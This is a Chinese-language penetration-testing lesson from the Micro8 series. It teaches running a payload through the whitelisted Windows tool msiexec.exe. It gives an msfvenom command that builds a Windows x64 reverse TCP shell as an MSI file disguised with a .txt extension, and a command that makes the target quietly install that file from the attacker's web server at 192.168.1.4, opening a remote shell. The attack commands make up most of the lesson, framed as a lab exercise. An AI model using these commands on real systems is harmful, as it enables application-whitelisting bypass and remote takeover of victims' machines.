> For the complete documentation index, see [llms.txt](https://micro8.gitbook.io/micro8/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://micro8.gitbook.io/micro8/contents-1/71-80/78-ji-yu-bai-ming-dan-msiexec-zhi-hang-payload-di-ba-ji.md).

# 第七十八课：基于白名单Msiexec执行payload第八季

**注：**&#x8BF7;多喝点热水或者凉白开，身体特别重要。

## Msiexec简介：

Msiexec 是 Windows Installer 的一部分。用于安装 Windows Installer 安装包（MSI）,一般在运行 Microsoft Update 安装更新或安装部分软件的时候出现，占用内存比较大。并且集成于 Windows 2003，Windows 7 等。

**说明：**&#x4D;siexec.exe所在路径已被系统添加PATH环境变量中，因此，Msiexec命令可识别。

## 基于白名单Msiexec.exe配置payload：

Windows 2003 默认位置：

```bash
C:\WINDOWS\system32\msiexec.exe
C:\WINDOWS\SysWOW64\msiexec.exe
```

**攻击机：**&#x31;92.168.1.4 Debian\
**靶机：** 192.168.1.119 Windows 2003

## 配置攻击机msf：

![](/files/-LZPXVxWeBjSaPt87PYj)

## 配置payload：

```bash
msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐ f msi > Micropoor_rev_x64_53.txt
```

![](/files/-LZPXVx_r7Y_-hjcGvD6)

![](/files/-LZPXVxcMFv34TfFiMtQ)

## 靶机执行：

```bash
C:\Windows\System32\msiexec.exe /q /i http://192.168.1.4/Micropoor_rev\_x64_53.txt
```

![](/files/-LZPXVxfHu1F5AwAJhKr)

![](/files/-LZPXVxjIe-8_PJH2i8N)

![](/files/-LZPXVxlf_6OI3SYZ20F)

> Micropoor
